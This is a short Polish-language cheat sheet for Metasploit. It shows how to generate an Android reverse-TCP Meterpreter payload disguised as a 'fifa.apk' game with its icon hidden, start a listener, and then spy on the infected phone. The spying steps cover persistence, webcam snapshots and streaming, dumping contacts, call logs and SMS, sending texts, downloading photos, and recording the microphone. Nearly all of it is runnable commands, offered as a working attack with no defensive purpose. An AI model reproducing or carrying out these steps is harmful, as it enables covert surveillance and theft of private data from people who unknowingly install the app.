TWORZENIE PAYLOAD'U

```
cd /usr/share/metasploit-framework/
```

Podmień 192.168.1.1 na adres komputera z którego przeprowadzacie atak

```
./msfvenom -p android/meterpreter/reverse_tcp AndroidHideAppIcon=true
AndroidWakelock=true LHOST=192.168.1.28 LPORT=4444 R > ~/Desktop/fifa.apk
```

URUCHAMIANIE SESJI OBSERWOWANIA

Uruchom konsolę

```
./msfconsole
```

Użyj multihandlera

```
msf > use exploit/multi/handler
```

Załaduj exploit Reverse TCP

```
msf > set payload android/meterpreter/reverse_tcp
```

Wpisz adres IP, który podałeś podczas generowania payload.exe

```
msf > set LHOST 192.168.1.28
```

Wpisz PORT, który podałeś podczas generowania payload.exe

```
msf > set LPORT 4444
```

Uruchom exploit

```
exploit
```

Czekaj na uruchomienie payload'u na atakowanej maszynie (pojawi się prompt `meterpreter >`)

KOMENDY W TRAKCIE TRWANIA SESJI

Wyłącz przechodzenie telefonu w tryb uśpienia

```
meterpreter > wakelock
```

Ukrycie aplikacji

```
meterpreter > wakelock
```

Wgranie i aktywacja skryptu podrztymującego sesję

```
meterpreter > cd /sdcard/Download
meterpreter > upload persist.sh
meterpreter > shell
cd /sdcard/Download
sh persist.sh
```

Zdjęcie z kamery

```
meterpreter > webcam_snap
```

Stream video z kamery

```
meterpreter > webcam_stream
```

Pobranie listy kontaktów

```
meterpreter > dump_contacts -o /root/Desktop/contacts.txt
```

Pobranie historii połączeń

```
meterpreter > dump_calllog -o /root/Desktop/call_log.txt
```

Pobranie historii SMSów (przychodzących i wychodzących)

```
meterpreter > dump_sms -o /root/Desktop/sms.txt
```

Wysłanie SMSa

```
meterpreter > send_sms -d 500123456 -t Tresc
```

Pobranie zdjęć z aplikacji FB

```
meterpreter > download /mnt/sdcard/DCIM/Facebook -r
```

Pobranie zdjęć z aplikacji DCIM

```
meterpreter > download /mnt/sdcard/DCIM/Camera -r
```

Nagrywanie 10sek dźwięku z mikrofonu

```
meterpreter > record_mic -d 10
```

Wyświetlenie wszystkich dostępnych komend

```
meterpreter > help
```